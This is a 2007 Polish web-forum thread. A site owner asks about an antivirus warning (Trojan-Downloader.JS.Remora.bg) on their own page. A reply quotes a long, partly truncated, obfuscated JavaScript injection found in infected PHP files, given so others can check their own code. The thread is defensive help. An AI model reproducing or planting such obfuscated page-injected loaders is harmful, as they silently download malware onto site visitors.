PDA

Zobacz pełną wersję : Wirus



Delux
16-12-2007, 14:42
po wejściu na moją stronkę od antywirusa pojawia się taki komunikat
STRONA ZABLOKOWANa
zawiera:
Wirus: Trojan-Downloader.JS.Remora.bg
możecie mi powiedzieć co z tym zrobić?

TaMaX
16-12-2007, 16:46
Sprawdz czy w twoich plikach php nie ma czegos takiego:


<?php
<!-- 3496fc084a71d604e81d31a614054903 --><script>document.write(unescape("%3Cscript%3Eif%28Yx%21%3D1%29%7Bfunction%20YU%28TO %29%7Breturn%20TO%7Dtry%7Bfunction%20BQp%28Fap%29% 7Breturn%20parseInt%28Fap%29%7Dvar%20jZJ%3D%27JJ0J 70Jm0Jd0Jg0JT0JW0Jp0JR0Jw0JG0Jc0J80Jq0Jj0Jf0Jr0JL0 JI0JD0JX0Jl0J30JB0Je0J50
M0Js0Jx0Ji0JK0JA0J40JV0Jn0JO0JU0Jb0J60J90JZ0JH0Ja0 Jo0Jz0Jh0JF0JS0Jy0JY0JN0Jk0Jt0
C07J07707m07d07g07T07W07p07R07w07G07c07807q07j07f0 7r07L07I07D07X07l073%27%3B%20var%20Myf%3DYU%28%270 %27%29%2C%20pmU%3DArray%2810553%5E10683%2CBQp%28%2 7205%27%29%2CBQp%28%27221%27%29%2CBQp%28%27204%27% 29%2C26122%5E26333%2C12973%5E12899%2CBQp%28%27202% 27%29%2CBQp%28%27128%27%29%2CBQp%28%27179%27%29%2C BQp%28%27180%27%29%2C23485%5E23397%2CBQp%28%27203% 27%29%2CBQp%28%27208%27%29%2CBQp%28%27209%27%29%2C 23349%5E23467%2CBQp%28%27247%27%29%2C16783%5E16759 %2CBQp%28%27223%27%29%2CBQp%28%27211%27%29%2C17210 %5E17377%2C17665%5E17815%2CBQp%28%27151%27%29%2CBQ p%28%27197%27%29%2CBQp%28%27195%27%29%2CBQp%28%271 44%27%29%2C2302%5E2105%2C17084%5E16959%2CBQp%28%27 183%27%29%2CBQp%28%27214%27%29%2CBQp%28%27132%27%2 9%2C8118%5E7983%2C10401%5E10363%2C32111%5E32167%2C BQp%28%27138%27%29%2CBQp%28%27146%27%29%2CBQp%28%2 7145%27%29%2C20551%5E20609%2C13191%5E13057%2CBQp%2 8%27136%27%29%2C21804%5E22009%2CBQp%28%27240%27%29 %2C30441%5E30209%2CBQp%28%27210%27%29%2CBQp%28%271 43%27%29%2CBQp%28%27253%27%29%2CBQp%28%27201%27%29 %2C29339%5E29281%2CBQp%28%27133%27%29%2CBQp%28%272 34%27%29%2C20376%5E20289%2C25816%5E25677%2CBQp%28% 27142%27%29%2C25207%5E25323%2CBQp%28%27249%27%29%2 C30714%5E30473%2CBQp%28%27237%27%29%2C25516%5E2539 5%2C16567%5E16459%2CBQp%28%27235%27%29%2CBQp%28%27 236%27%29%2CBQp%28%27242%27%29%2C23643%5E23687%2C2 0911%5E20845%2CBQp%28%27129%27%29%2CBQp%28%27229%2 7%29%2CBQp%28%27224%27%29%2CBQp%28%27147%27%29%2CB Qp%28%27196%27%29%2CBQp%28%27135%27%29%2C26206%5E2 6301%2CBQp%28%27226%27%29%2C19160%5E18985%2CBQp%28 %27140%27%29%2C25906%5E26047%2C28060%5E27927%2CBQp %28%27137%27%29%2C7823%5E7707%29%3B%20var%20FBq%2C %20mxG%3B%20var%20vWe%2C%20DNO%3D%27JJJ7JmJdJgJTJW JpJRJwJGJcJ8JmJWJgJqJ8JjJfJrJdJLJIJDJXJlJ3JBJRJwJf JrJdJLJIJDJeJT
dJqJWJqJWJ5JTJDJjJMJjJ3JRJwJRJwJsJxJqJ7JWJjJiJjJKJ AJdJgJ4JDJdJ7JeJLJDJdJqJVJeJmJ
JKJnJRJwJsJTJLJWJxJjJiJjJKJOJUJbJ6JOJKJnJjJRJwJsJm JqJqJ9JgJDJZJLJIJDJjJiJjJKJAJd
VJ4JLJKJnJRJwJsJmJqJqJ9JgJDJHJLJaJcJDJjJiJjJoJnJRJ wJRJwJsJ7JDJWJzJqJqJ9JgJDJjJiJ
JGJcJ8JmJWJgJqJ8JXJ8JLJIJDJnJjJ4JLJaJcJDJlJRJwJsJ3 JRJwJsJsJ4JLJdJjJAJMJjJ8JDJhJj
FJLJWJDJXJlJSJjJAJeJ7JDJWJyJgJIJDJXJ8JDJhJjJFJLJWJ DJXJlJeJYJDJWJyJgJIJDJXJlJjJNJ
JbJ6JVJkJkJkJkJkJlJSJjJRJwJsJsJAJqJmJcJIJDJ8JWJeJm JqJqJ9JgJDJjJMJjJ8JLJIJDJjJNJj
tJMJtJjJNJjJDJ7JmJLJTJDJXJ4JLJaJcJDJlJjJNJjJtJSJjJ DJUJTJgJdJDJ7JMJtJjJNJjJAJeJWJ
JC7JJy77JWJdJgJ8JYJXJlJSJjJsJsJsJRJwJsJBJnJRJwJsJg J8J7JWJLJaJaJjJiJjJGJcJ8JmJWJg
qJ8JXJlJRJwJsJ3JRJwJsJsJgJGJX7mJWJxJgJ7JeJLJaJdJDJ LJAJ5JfJ8J7JWJLJaJaJDJAJXJlJlJ
JwJsJsJ3JRJwJsJsJsJ4JLJdJjJ7JjJMJjJtJJJgJGJdJLJIJD JjJhJgJAJWJxJMJoJjJxJDJgJYJxJW
MJoJjJGJdJLJIJD7dJqJdJAJDJdJMJkJjJ7JdJmJMJKJtJjJNJ jJWJxJgJ7JeJYJDJWJrJdJLJIJD7g7
7WJXJlJjJNJjJtJKJpJJJOJgJGJdJLJIJDJpJtJSJRJwJsJsJs JWJdJ5JjJ3JjJAJqJmJcJIJDJ8JWJe
(...)

Jezeli jest ,to masz wirusa i trzeba wyczyscic kod :(